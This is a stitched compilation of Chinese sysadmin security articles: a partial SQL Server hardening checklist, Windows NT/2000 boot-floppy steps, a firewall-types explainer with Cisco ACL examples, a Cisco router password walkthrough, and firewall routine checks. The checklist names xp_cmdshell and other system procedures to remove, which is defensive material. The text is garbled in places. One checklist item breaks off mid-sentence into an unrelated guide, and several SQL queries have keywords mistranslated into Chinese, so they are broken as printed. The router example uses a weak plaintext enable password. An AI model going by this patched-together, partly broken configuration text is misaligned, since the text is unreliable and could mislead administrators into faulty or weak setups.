3．给 "sa" 和 "probe" 帐户设定强壮的密码来加强其安全性。设定一个强壮的密码并将其保存在一个安全的地方。 注意: probe帐户被用来进行性能分析和分发传输。 当在标准的安全模态中用的时候 , 给这个帐户设定高强度的密码能影响某些功能的使用。
4．使用一个低特权用户作为 SQL 服务器服务的查询操作账户，不要用 LocalSystem 或sa。 这个帐户应该有最小的权利 ( 注意作为一个服务运行的权利是必须的)和应该包含( 但不停止）在妥协的情况下对服务器的攻击。 注意当使用企业管理器做以上设置时 , 文件，注册表和使用者权利上的 ACLs同时被处理。
5．确定所有的 SQL 服务器数据，而且系统文件是装置在 NTFS 分区，且appropraite ACLs 被应用。 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据，避免造成一场大灾难。
6．如果不使用Xp_cmdshell就关掉。 如果使用 SQL 6．5, 至少使用Server Options中的SQLExecutieCmdExec 账户操作限制非sa用户使用XP_cmdshell．
在任何的 isql/ osql 窗口中( 或查询分析器)：
    use master
    exec sp_dropextendedproc‘xp_cmdshell‘
    对SQLExecutiveCmdExec 的详细情况请查看下列文章:
    http://support．microsoft．com/support/kb/article/Q159/2/21．
    如果你不需要 xp_cmdshell 那请停用它。请记住一个系统系统管理员如果需要的话总是能把它增加回来。这也好也不好 - 一个侵入者可能发现它不在，只需要把他加回来。考虑也除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。 要找到其他的程序是否使用相同的 dll: 首先得到该 dll 。
select o．name,c．text from dbo．syscomments c , dbo．sysobjects o where c．id=o．id and o．name=‘xp_cmdshell‘
    其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll。
select o．name,c．text from dbo．syscomments c , dbo．sysobjects o where c．id=o．id and c．text=‘xplog70．dll‘
    用户可以用同样的办法处理下面步骤中其他你想去掉的进程。

7．如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失)． 这些包括:
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
    如果你决定停用该进程那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 记住, 我们在这里正在做的是锁定一个应用程序的功能 - 你的开发平台应该放到其他机器上。

8．禁用你不需要的注册表存取程序。(同上面的警告)这些包括:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalues
Xp_regenumvaluess
Xp_regremovemultistring
注意 :我过去一直在这里列出 xp_regread/ xp_regwrite但是这些程序的移除影响一些主要功能包括日志和SP的安装，所以他们的移除不被推荐。

9．移除其他你认为会造成威胁的系统储存进程。 这种进程是相当多的，而且他们也会浪费一些cpu时间。 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试，确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree

10．在企业管理器中"安全选项" 之下禁用默认登录。(只有SQL 6．5) 当使用整合的安全时候,这使未经认可的不在 syslogins 表中使用者无权登陆一个有效的数据库服务器。
11．除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
12．若非必须，请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ，病毒或是简单实现一个DOS攻击成为可能。
13．检查master．．Sp_helpstartup看有无可疑的木马进程。 确定没有人已经在这里放置秘密的后门程序。 使用 Sp_unmakestartup 移除任何可疑进程。
14．检查master．．Sp_password看有无trojan代码。比较你的产品scripts和一个新安装的系统的默认scripts而且方便的保存。
15．记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3
16．重写应用程序使用更多用户定义的储存和察看进程所以一般的对表的访问可以被禁用。 在这里你也应该看到由于不必经常进行查询计划操作而带来的性能提升。
17．除去不需要的网络协议。
18．注意SQL 服务器的物理安全。把它锁在固定的房间里，并且注意钥匙的安全。只要有机会到服务器面前，就总是会找到一个方法进入。
19．建立一个计划的任务运行:
findstr/C:" Login Failed"\mssql7\log\*．*‘
    然后再重定向输出到一个文本文件或电子邮件，因此你监测失败的登录尝试。这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。 注意: 你可能需要将路径换成你安装SQL的路径。
20．设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息 ( 从查找"login failed"和"denied"开始)． 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。
21．确定在服务器和数据库层次上的角色都只被授给了需要的用户。 当 SQL Server 安全模型 7 有许多增强的时候, 它也增加额外的许可层，我们必须监控该层，确定没有人被授予了超过必需的权限。
22．经常检查组或角色全体会员并且确定用组分配权限，这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。
23．花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
使用主体
选择名字,
password
from syslogins
where password is null
order by name
24．如果可能，在你的组织中利用整合的安全策略。 通过使用整合的安全策略，你能够依赖系统的安全，最大简化管理工作从维护二个分开的安全模型中分离开来。这也不让密码接近连接字串。
25．检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限。(在SQL Server中 使用 "type" 而不是 "xtype"):
Use master
select sysobjects．name
from sysobjects,sysprotects
where sysprotects．uid=0
AND xtype 在 (‘X‘,‘P‘)
AND sysobjects．id=sysprotects．id
Order by name
26．当时用企业管理器的时候，使用整合的安全策略。 过去，企业管理器被发现在标准的安全模态中储存"sa"密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。 使用 regedit 而且检查键:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\
MSSQLServer\SQLEW\ Regedi\
SQL 6．5
现在数据被隐藏在
HKEY_USERS\\software\Microsoft\Microsoft SQL server&#9280;\tool\SQLEW\registered server X\SQL server group
("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)
27．发展一个审核计划而且订定每月的安全报告，对IT主管可用的报表包括任何的新exploit，成功的攻击 , 备份保护 , 和对象存取失败统计。
28．不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
30．尽力限制对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非WinNT/2000重要软盘制作小全
一．在Winnt中创建安装启动盘

1．准备 3 张空白的、已格式化的 3．5 英寸 1．44 MB 软盘。
2．将其中一张盘插入运行任何版本的 Windows 或 MS-DOS 的计算机的软驱中。
3．将 Windows NT 光盘 (CD) 插入 CD-ROM 驱动器中。
4．单击“开始”，然后单击“运行”。
在“打开”框中，键入 d:\i386\winnt /ox（其中，d 代表指派给 CD-ROM 驱动器的驱动器号），然后单击“确定”。
5．按屏幕提示操作。

二．在Winnt中创建引导盘

1．准备1张空白的,用NT格式化的3．5 英寸 1．44 MB 软盘,必须由NT格式化!
2．将软盘插入软驱．
3．将c:\(这儿C是system分区)下的ntldr,ntdlect．com,boot．ini,ntbootdd．sys,BOOTSECT．DOS(后面两个文件可选,视情况,通常这两个文件存在就复制,不存在也没有关系)复制到软盘中．
三．在Winnt中制作紧急修复盘(ERD)

1．1．准备 1 张空白的、已格式化的 3．5 英寸 1．44 MB 软盘。
2．将软盘插入软驱．
3．开始->运行->rdisk /s
四．在Win2000中创建启动盘

1．准备 4 张空白的、已格式化的 3．5 英寸 1．44 MB 软盘。
2．将其中一张盘插入运行任何版本的 Windows 或 MS-DOS 的计算机的软驱中。
3．将 Windows 2000 光盘 (CD) 插入 CD-ROM 驱动器中。
4．单击“开始”，然后单击“运行”。
    在“打开”框中，键入 d:\bootdisk\makeboot a:（其中，d 代表指派给 CD-ROM 驱动器的驱动器号），然后单击“确定”。
5．按屏幕提示操作。
注意:
    从 Windows 2000 Professional 光盘创建的磁盘不能在 Windows 2000 Server 下使用，反之，从 Windows 2000 Server 光盘创建的磁盘也不能在 Windows 2000 Professional 下使用。

五．在Win2000中创建引导盘

1．准备1张空白的,用Win2000格式化的3．5 英寸 1．44 MB 软盘,必须由Win2000格式化!
2．将软盘插入软驱．
3．将c:\(这儿C是system分区)下的ntldr,ntdlect．com,boot．ini,io．sys复制到软盘中．

六．在Win2000中创建紧急修复磁盘(ERD)

1．准备一张空白的、已格式化的 1．44 (MB) 的软盘。
2．打开备份程序(开始->运行->ntbackup．exe)。
在“欢迎”选项卡上，单击“紧急修复磁盘”。
根据屏幕上显示的说明进行。

要点:
    当完成安装之后，将原始系统设置的信息保存在系统分区的 systemroot\Repair 文件夹中。如果使用“紧急修复磁盘”来修复您的系统，那么可以访问该文件夹中的信息。一定不要更改或删除该文件夹。


理解防火墙及防火墙实例
本文将分为两部分，第一部分将介绍防火墙基本类型和概念，以及每类防火墙的主要优缺点，然后是选购配置防火墙的时候一些误区；第二部分将结合第一部分内容介绍unix下的防火墙软件ipfilter，包括这个软件的介绍、安装、具体应用等。
第一部分：
一、 什么是防火墙：
    对于企业的网络而言，未加特别安全保护而放置在internet上，危险性是显而易见的。随着决策层对安全认识的逐步加强，防火墙，作为一种应用非常广泛，技术相对比较成熟的网络安全产品也在不同的企业愈来愈多的得到了重视。然而一个现实的问题是目前关于防火墙的名词以及厂家基于商业目的宣称花样为数众多，这就给使用者选择和应用防火墙带来了一定的误解和困难。那么什么是防火墙，主要的防火墙之间如何区别呢？
我们可以这样理解，防火墙是在两个网络间实现访问控制的一个或一组软件或硬件系统。它最主要的功能就是屏蔽和允许数据通讯，而该功能的实现又主要是依靠一套访问控制策略，由访问控制策略来决定通讯的合法性。
二、防火墙的类型：
    如果我们从OSI分层模式来考察分类防火墙，会发现防火墙分类其实万变不离其宗，本人个人认为，目前主要的防火墙可以分为三类，它们分别是：包过滤防火墙、基于状态的包过滤防火墙、应用代理（网关）防火墙，下面我们来逐一说明。 2.1 包过滤防火墙
首先，我们要提到的是最基本的报文过滤的防火墙，这个层次的防火墙通常工作在OSI的三层及三层以下，由此我们可以看出，可控的内容主要包括报文的源地址、报文的目标地址、服务类型，以及第二层数据链路层可控的MAC地址等。除此以外，随着包过滤防火墙的发展，部分OSI四层的内容也被包括进来，如报文的源端口和目的端口。
    本层次最常见的实际应用的例子就是互联网上的路由设备，比如常见的cisco路由器，使用者可以通过定制访问控制列（ACL）来对路由器进出端口的数据包进行控制，如针对rfc1918的保留地址进屏蔽，在路由器上可以进行如下配置：
interface x
ip access-group 101 in
access-list 101 deny ip 10.0.0.0 0.255.255.255 any
access-list 101 deny ip 192.168.0.0 0.0.255.255 any
access-list 101 deny ip 172.16.0.0 0.15.255.255 any
access-list 101 permit ip any any
    从上面这个例子可以很明显的看出，路由器这里的配置完全是针对OSI的三层ip地址，也就是ip的包头进行过滤，至于这些IP数据包里携带的具体有什么内容，路由器完全不会去关心。
    由此考虑一下，我们就不难看出这个层次的防火墙的优点和弱点，基于报文过滤的防火墙一个非常明显的优势是速度，这是因为防火墙只是去检察数据包的包头，而对数据包所携带的内容没有任何形式的检查，因此速度非常快，还有一个好处是，对用户而言，包过滤防火墙是透明的，无需用户端的任何配置。包过滤防火墙的这种特性决定了它很适合放在局域网的前端，由它来完成整个安全工作环节中的数据包前期处理工作，如：控制进入局域网的数据包的可信任ip，对外界仅仅开放必要的端口等。
    与此同时，这种防火墙的弊端也是显而易见的，比较关键的几点包括：
A：由于无法对数据包及上层的内容进行核查，因此无法过滤审核数据包的内容。体现这一问题的一个很简单的例子就是：对某个端口的开放意味着相应端口对应的服务所能够提供的全部功能都被放开，即使数据包有攻击性，也无法进行控制和阻断。比如针对微软IIS漏洞的Unicode攻击，因为这种攻击是走的防火墙所允许的80端口，而包过滤的防火墙无法对数据包内容进行核查，所以，此时防火墙等同于虚设，未打相应patch的提供web服务的系统，即使在防火墙的屏障之后，也会被攻击者轻松拿下超级用户的权限。
B：由于此种类型的防火墙工作在较低层次，防火墙本身所能接触到的信息较少，所以它无法提供描述事件细致的日志系统，此类防火墙生成的日志常常只是包括数据包捕获时间，三层的ip地址，四层的端口等非常原始的信息。我们可以先把下面要讲的ipmon的软件的日志拿来看看
Nov 23 14:13:05 y.y.y.y ipmon[10841]: 14:13:04.733237 hme0 @0:13 b 61.177.222.46,4131 -> 202.102.224.136,3389 PR tcp len 20 48 -S IN
我们可以从上面看个大概，这个防火墙于仅仅记录了11月23日14点13分防火墙block了从ip地址x.x.x.x，端口4131来的，目的端口是3389，目的ip是y.y.y.y的包头为20字节，净荷长度为28的数据包。至于这个数据包内容是什么，防火墙不会理会，这恰恰对安全管理员而言是至为关键的。因为即使一个非常优秀的系统管理员也会陷入大量的通过/屏蔽的原始数据包信息中而难以理清头绪，在发生安全事件时给管理员的安全审计带来了很大的困难。
C：所有有可能用到的端口都静态放开的，对外界暴露，从而极大的增加了被攻击的可能性。
D：如果网络结构否则，那么对管理员而言配置ACL将是非常恐怖的事情。
2.2 基于状态的包过滤防火墙
    上面我们讲到的包过滤防火墙在具体实施的时候，管理员会遇到一些非常棘手的问题：网络上数据的传输是双向的，因此所有服务所需要的数据包进出防火墙的端口都要仔细的被考虑到，否则，会产生意想不到的情况。然而我们知道，当被防火墙保护的设备与外界通讯时，绝大多数应用要求发出请求的系统本身提供一个端口，用来接收到外界返回的数据包，而且这个端口一般是在1023到16384之间不定的，这就增加了设计控制访问规则的难度。这里我们可以捕获一次由client到server的80端口访问的一些纪录来形象说明这个问题（截取的内容略有删节）：
17:48:52.513355 IP penetrat.1134 > server.80: S 1253142352:1253142352
17:48:52.515991 IP server.80 > penetrat.1134: S 1867056172:1867056172 ack 1253142353
17:48:52.516126 IP penetrat.1134 > server.80: . ack 1
    我们可以从上述内容中看到，client为了完成对server的www网络访问，需要打开一个本机端口用来接收回来的数据包，此处是1134。如果防火墙没有开放1134这个端口的话，client将无法收到回应的数据包。
    但是问题是由于系统和外界通讯的时候，本机的端口不是一定的，我们已经知道如果不放开这些端口，通讯将无法完成，那么只有一个方法，开放1023以上的全部端口，允许这些端口的数据包进出。这正是传统的包过滤型防火墙的做法。
这样做的危害是明显的，为了通讯，把所有的高端端口开放，危害了配置防火墙的最小开放性原则。攻击者很容易利用这些漏洞比如rpc等服务攻击防火墙后的系统。
另一方面，由于普通的包过滤防火墙不能对数据传输状态进行判断，如收到ack数据包就想当然的认为这是一个建立的连接，从而对数据包放行，会带来一定的安全隐患。
    为了解决这些问题，基于状态的包过滤防火墙的产生了，这种防火墙在传统的包过滤防火墙的基础上增加了对OSI第四层的支持，同时，防火墙在自身cache或内存中维护着一个动态的状态表，数据包到达时，对该数据包的处理方式要综合访问规则和数据包所处于的状态进行。
    那么这个动态的状态表包括什么内容，又是如何产生的呢？对于tcp而言，状态表的内容一般主要包括数据包的来源/目的ip地址、来源/目的端口、以及数据包的sequence number等。当有数据包到达防火墙时，这些参数将决定数据包是否在属于一个已经合法的sessioin。如果防火墙接收到一个初始化tcp连接的syn标志包，这个包会首先被防火墙的访问控制列检查，如果在检查了所有的控制规则后，该包都没有被接受，那么该次连接被拒绝；如果数据包符合某条访问控制规则，那么在状态表中一个新的session就被建立，后续的数据包状态如果与状态表内的session内容不一致（如虽然目的端口一致，但源端口不一致），那么数据包将被直接丢弃；如果判断数据包属于状态表中已经联接的session，那么数据包往往就直接允许通过，不再和访问控制列内容进行比较；
    用上面的client访问server的web例子来看的话：此时防火墙不需要在规则中打开1023以上的端口，只需要放开80端口就可以了，因为防火墙信任的client端带syn标志的数据包经由防火墙访问控制规则允许的80端口出去，防火墙会登记源端口1134，目的端口80，两端ip地址，在状态表中增加一个session。这样当server端的80端口返回client数据包的时候，防火墙检查状态表，察觉到是由client端发起的合法连接，会自动打开1134端口，使数据包返回。
    由上，我们可以看到这种类型的防火墙较大程度上的的减少了传统的包过滤防火墙的大量开放端口等一些安全问题，而且，由于对于已经建立联接的数据包常常不再进行访问控制列内容检查，速度大大的增加了。此外，另外好处就是对系统管理员而言配置访问规则时需要考虑的内容相对简单了一些，出错率降低。
    目前该类防火墙的访问控制手段也在不断增加，现在使用非常广泛的有根据报文协议头不同情况进行数据包取舍，不同类型的数据流量控制，连接数量控制等。
    当然，尽管增加了基于状态的特性，但是由于本质上还是包过滤防火墙，无法深入到上层协议，因此上面所讲的传统包过滤防火墙的一些弱点在基于状态的包过滤防火墙依然存在。
2.3 应用代理（网关）防火墙
    与前面讲到的防火墙不同，这种类型的防火墙在实现中，将OSI七层的应用层也包含了进来，这个层次的防火墙的实现主要是基于软件的。在某种意义上，可以把这种防火墙看作一个翻译器，由它负责外部网络和内部网络之间的通讯，当防火墙两端的用户打算进行网络通讯时候，两端的通讯终端不会直接联系，而是由应用层的代理来负责转发。代理会截获所有的通讯内容，如果连接符合预定的访问控制规则，则代理将数据转发给目标系统，目标系统回应给代理，然后代理再将传回的数据送回客户机-请注意这个特性，由于网络连接都是通过中介来实现的，所以恶意的侵害几乎无法伤害到被保护的真实的网络设备。
    因为工作在高层，理解应用层的协议，本类防火墙提供了前面两种防火墙所无法提供的诸多特别的功能，能进行一些复杂的访问控制，主要包括：
a：认证机制，如最常见的用户和密码认证。
b：内容过滤， 如上面我们讲到的Unicode攻击，应用代理（网关）防火墙能发现这种攻击，并对攻击进行阻断。此外，还有常见的过滤80端口的Java Applet、javascript、ActiveX、电子邮件的MIME类型，还有Subject、To、From等等。
c：成熟的日志，本类防火墙还具有非常成熟的日志功能，由于突破了OSI四层的限制，可以记录非常详尽的日志记录，比如：记录进入防火墙的数据包中有关应用层的命令，表现在上例中就是Unicode攻击的执行命令。
值得注意的是，上述的这些优点都是以牺牲速度为代价换取的，因为所有的连接请求在代理网关上都要经过软件的接受，分析，转换，转发等工作。在另一方面，由于数据包的所有内容都要被审查，也非常明显的降低了速度。
同时，这种防火墙还有一个比较明显的弊病，就是新的网络协议和网络应用都需要一套应用代理。
2.4 基于状态检查的防火墙（Stateful Inspection）
    目前这类防火墙比较新一代的产品，本类防火墙的概念是由checkpoint公司最先提出的，关于Stateful Inspection的含义可参见以下checkpoint公司的的说明：Stateful - Inspection provides the highest level of security possible and overcomes the limitations of the previous two approaches by providing full application-layer awareness without breaking the client/server model. Stateful Inspection extracts the state-related information required for security decisions from all application layers and maintains this information in dynamic state tables for evaluating subsequent connection attempts. This provides a solution that is highly secure and offers maximum performance, scalability, and extensibility. Check Point FireWall-1 is based upon Stateful Inspection, which has become the defacto standard for firewalls.
    综合checkpoint网站的资料，我们可以通俗的将这种Stateful Inspection大致理解为，防火墙的内核中运行着Stateful Inspectionsm engine，由它在OSI底层对接收到的数据包进行审核，当接收到的数据包符合访问控制要求时，将该数据包传到高层进行应用级别和状态的审核，如果不符合要求，则丢弃。由于Stateful Inspectionsm engine工作在内核中，因此效率和速度都能得到很好的保证，同时由于Stateful Inspectionsm engine能够理解应用层的数据包，所以能够快速有效的在应用层进行数据包审核。
关于checkpoint的专利技术Stateful Inspectionsm engine，该公司有如下说明：
This provides important system flexibility, allowing Check Point, as well as its technology partners and end-users, to incorporate new applications, services, and protocols, without requiring new software to be loaded. For most new applications, including most custom applications developed by end users, the communication-related behavior of the new application can be incorporated simply be modifying one of Firewall-1`s built-in script templates via the graphical user interface. Even the most complex applications can be added quickly and easily via the INSPECT language.
    按照上面的理解，对新的应用程序的防火墙支持是无需在增加新的软件的，但本人认为，此处值得商榷，在checkpoint公司主页上，有专门的一部分介绍Application Support，也就是说，用户购置的checkpoint防火墙内部已经支持了相应的程序的审核，这一点应该是没有问题的。但是，除此之外，当用户的网络上增加了新的应用时，并需要防火墙支持该应用时，可能并不会如上述说明那么简单，因为对应用的支持并不是简单的增加端口，修改脚本那么容易完成的。Stateful Inspectionsm engine必须理解该应用的比较具体的问题。比如国内广泛使用的oicq，防火墙增加对qq的支持，并不是系统管理员点几下鼠标，敲击几次键盘就能轻松完成的。
    个人认为，其实基于状态检查的防火墙其设计思想可能还是源于基于状态的包过滤防火墙，只是在此基础上又增加了对应用层数据包的审核而已，但是由于本人没有实际使用过，因此无法下定论。
2.5防火墙的附加功能。
    目前的防火墙还往往能够提供一些特殊的功能，如：
A：IP转换
IP转换主要功能有二，一是隐藏在其后的网络设备的真实IP，从而使入侵者无法直接攻击内部网络，二是可是使用rfc1918的保留IP，这对解决ip地址匮乏的网络是很实用的。
B：虚拟企业网络
VPN在国外使用的较多，国内也开始逐渐得到应用。它是指在公共网络中建立的专用加密虚拟通道，以确保通讯安全
C：杀毒
一般都通过插件或联动实现
D：与ids联动
目前实现这一功能的产品也有逐渐增多的趋势。
E：gui界面管理
传统以及一些*nix下free的防火墙一般都是通过命令行方式来键入命令来控制访问策略的，商用的防火墙一般都提供了web和gui的界面，以便于管理员进行配置工作。
F：自我保护，流控和计费等其它功能
三、选购和使用防火墙的误区
    就本人几年来系统管理员的经验看来，防火墙在选购和使用时经常会有一些误区，如下
A：最全的就是最好的，最贵的就是最好的
这个问题常常出现在决策层，相信"全能"防火墙，认为防火墙要包括所有的模块，求大而全，不求专而精，不清楚自己的企业需要保护什么，常常是白花了大量的经费却无法取得应有的效果。
B：一次配置，永远运行
这个问题往往都在经验不足的系统管理员手上出现，在初次配置成功的情况下，就将防火墙永远的丢在了一边，不再根据业务情况动态的更改访问控制策略-请注意本文一开始讲到的，缺乏好的允许或者拒绝的控制策略，防火墙将起不到任何作用。
C：审计是可有可无的
这个问题也出现在系统管理员手上出现，表现为对防火墙的工作状态，日志等无暇审计，或即使审计也不明白防火墙的纪录代表着什么，这同样是危险的。
D：厂家的配置无需改动
目前国内比较现实的情况是很多公司没有专业的技术人员来进行网络安全方面的管理，当公司购置防火墙等产品时，只能依靠厂家的技术人员来进行配置，但应当警惕的是，厂家的技术人员即使技术精湛，往往不会仔细的了解公司方面的业务，无法精心定制及审核安全策略，那么在配置过程中很可能会留下一些安全隐患。作为防火墙的试用方不能迷信厂家的技术，即使对技术不是非常清楚，也非常有必要对安全策略和厂家进行讨论。
    作为文章的第一部分，我们在上面比较详细的介绍了四种防火墙的，包括基本概念，防火墙的长处和短处，关于防火墙的一些误区等。我们在随后的一篇文章中将介绍一种被广泛用在各种unix系统中的防火墙软件ipfilter，涵盖软件的介绍、安装、具体应用等。
参考资料：
Firewalls FAQ. http://www.faqs.org/faqs/firewalls-faq/
How Firewalls Work. http://www.howstuffworks.com/firewall.htm
Understanding the FW-1 State Table. http://www.spitzner.net/fwtable.html
Checkpoint firewall-1 web页. http://www.checkpoint.com/products/protect/firewall-1.html


路由器的安全配置
随着Internet的快速发展和政府、企业上网工程的日益推广，越来越多的政府机关和企业在网络上建立网站来进行对外宣传，这样，网络上的安全问题就显得日益突出。许多政府机关及企业都安装了防火墙来保证网络服务器的安全，却往往忽视了站在最前沿的“卫士”——路由器。在网络上，一旦有人恶意进入你的路由器，将对你的网络安全产生极大的威胁。
实际上，路由器可以看作是一台具有中央处理器、内存、操作系统的计算机，将地理上分散的网络连接在一起，实现它们之间的网络通信。所以，路由器配置的是否正确、安全会对网络的通畅起着举足轻重作用。在实际的工作中，我们接触到比较多的是Cisco的路由器，下面就以Cisco路由器为例，看看路由器的配置。
Cisco路由器中的操作系统叫做互连网络操作系统（Internet Operating System），或简称为IOS，对Cisco路由器的配置可以通过手工使用连接到控制端口的终端或者利用Telnet会话等方式进行配置，常用的是利用Console口进行配置，将Cisco自带的配置线和一台计算机的COM口连接好，在Windows 95/98或Windows NT中的超级终端进行连接，步骤如下:
1、 在超级终端中新建连接，在连接时使用下拉式菜单种选择直连串口连接1（或者直连串口连接2），在COM口的属性页中按还原默认设置，将波特率设置为9600bps、数据位8位，奇偶校验位无、停止位1，确认即可。
2、 确认之后，进入超级终端的控制窗口，这时你就可以利用这个连接对路由器进行配置。如果你的路由器是第一次打开电源，路由器将会进入到初始化配置对话，这是可根据提示一步步地对路由器进行配置。配置时请注意你输入的enable password和virtual terminal password，这两个密码将对你的路由器安全举足轻重。enable password是你进入特权模式的口令，virtual terminal password是通过虚拟终端（Telnet访问）时的密码。
3、 如果你的路由器已经配置完毕，请在特权模式下执行：(特权模式的提示符为“#”)
    Router（config）>#sh run
    你可能会看到有这么几行：
    line vty 0 4
    password *****(*为你设置的密码)
    或
    login local
    这几行配置的含义是：
    第一行定义五个允许的Telnet访问（编码0-4），下一行表明进入到提示符前要输入密码*****或是以路由中设立的用户名和密码登录。可以看出，利用路由器中的用户名和密码登录将比直接利用密码登录安全。

    下面我大致写一下在路由器中建立用户，设置进入密码和虚终端密码的步骤：
    Router>
    //进入到特权模式下
    Router >enable
    Password:
    //进入到全局模式下
    Router #conf t
    Enter configuration commands, one per line. End with CNTL/Z.
    //给自己的路由器起一个名字

    Router (config)#hostname Myrouter
    //将enable的密码设置为ababab
    Router (config)#enable password ababab
    //在路由器中建立用户名称为aaa密码为bbb
    Myrouter (config)#username aaa password bbb
    //配置Console口
    Myrouter (config)#line con 0
    //用路由器中的用户名和密码登录

    Myrouter (config-line)#login local

    Myrouter (config-line)#flowcontrol hardware

    Myrouter (config-line)#end

    //配置远程登录虚终端0-4

    Myrouter (config)#line vty 0 4

    //用路由器中的用户名和密码登录

    Myrouter (config-line)#login local

    Myrouter (config-line)#end
    Myrouter (config)#end

    //将刚才的设置存盘
    Myrouter >write
    配置完成之后，你可以用Telnet远程登录你的路由器来测试一下，看登录和进入特权模式是否需要密码。


硬件防火墙的例行检查
硬件防火墙是保障内部网络安全的一道重要屏障。它的安全和稳定，直接关系到整个内部网络的安全。因此，日常例行的检查对于保证硬件防火墙的安全是非常重要的。
    系统中存在的很多隐患和故障在暴发前都会出现这样或那样的苗头，例行检查的任务就是要发现这些安全隐患，并尽可能将问题定位，方便问题的解决。
    一般来说，硬件防火墙的例行检查主要针对以下内容：
    1.硬件防火墙的配置文件
    不管你在安装硬件防火墙的时候考虑得有多么的全面和严密，一旦硬件防火墙投入到实际使用环境中，情况却随时都在发生改变。硬件防火墙的规则总会不断地变化和调整着，配置参数也会时常有所改变。作为网络安全管理人员，最好能够编写一套修改防火墙配置和规则的安全策略，并严格实施。所涉及的硬件防火墙配置，最好能详细到类似哪些流量被允许，哪些服务要用到代理这样的细节。
    在安全策略中，要写明修改硬件防火墙配置的步骤，如哪些授权需要修改、谁能进行这样的修改、什么时候才能进行修改、如何记录这些修改等。安全策略还应该写明责任的划分，如某人具体做修改，另一人负责记录，第三个人来检查和测试修改后的设置是否正确。详尽的安全策略应该保证硬件防火墙配置的修改工作程序化，并能尽量避免因修改配置所造成的错误和安全漏洞。
    2.硬件防火墙的磁盘使用情况
    如果在硬件防火墙上保留日志记录，那么检查硬件防火墙的磁盘使用情况是一件很重要的事情。如果不保留日志记录，那么检查硬件防火墙的磁盘使用情况就变得更加重要了。保留日志记录的情况下，磁盘占用量的异常增长很可能表明日志清除过程存在问题，这种情况相对来说还好处理一些。在不保留日志的情况下，如果磁盘占用量异常增长，则说明硬件防火墙有可能是被人安装了Rootkit工具，已经被人攻破。
    因此，网络安全管理人员首先需要了解在正常情况下，防火墙的磁盘占用情况，并以此为依据，设定一个检查基线。硬件防火墙的磁盘占用量一旦超过这个基线，就意味着系统遇到了安全或其他方面的问题，需要进一步的检查。
    3.硬件防火墙的CPU负载
    和磁盘使用情况类似，CPU负载也是判断硬件防火墙系统运行是否正常的一个重要指标。作为安全管理人员，必须了解硬件防火墙系统CPU负载的正常值是多少，过低的负载值不一定表示一切正常，但出现过高的负载值则说明防火墙系统肯定出现问题了。过高的CPU负载很可能是硬件防火墙遭到DoS攻击或外部网络连接断开等问题造成的。
    4.硬件防火墙系统的精灵程序
    每台防火墙在正常运行的情况下，都有一组精灵程序（Daemon），比如名字服务程序、系统日志程序、网络分发程序或认证程序等。在例行检查中必须检查这些程序是不是都在运行，如果发现某些精灵程序没有运行，则需要进一步检查是什么原因导致这些精灵程序不运行，还有哪些精灵程序还在运行中。
    5.系统文件
    关键的系统文件的改变不外乎三种情况：管理人员有目的、有计划地进行的修改，比如计划中的系统升级所造成的修改；管理人员偶尔对系统文件进行的修改；攻击者对文件的修改。
    经常性地检查系统文件，并查对系统文件修改记录，可及时发现防火墙所遭到的攻击。此外，还应该强调一下，最好在硬件防火墙配置策略的修改中，包含对系统文件修改的记录。
    6.异常日志
    硬件防火墙日志记录了所有允许或拒绝的通信的信息，是主要的硬件防火墙运行状况的信息来源。由于该日志的数据量庞大，所以，检查异常日志通常应该是一个自动进行的过程。当然，什么样的事件是异常事件，得由管理员来确定，只有管理员定义了异常事件并进行记录，硬件防火墙才会保留相应的日志备查。
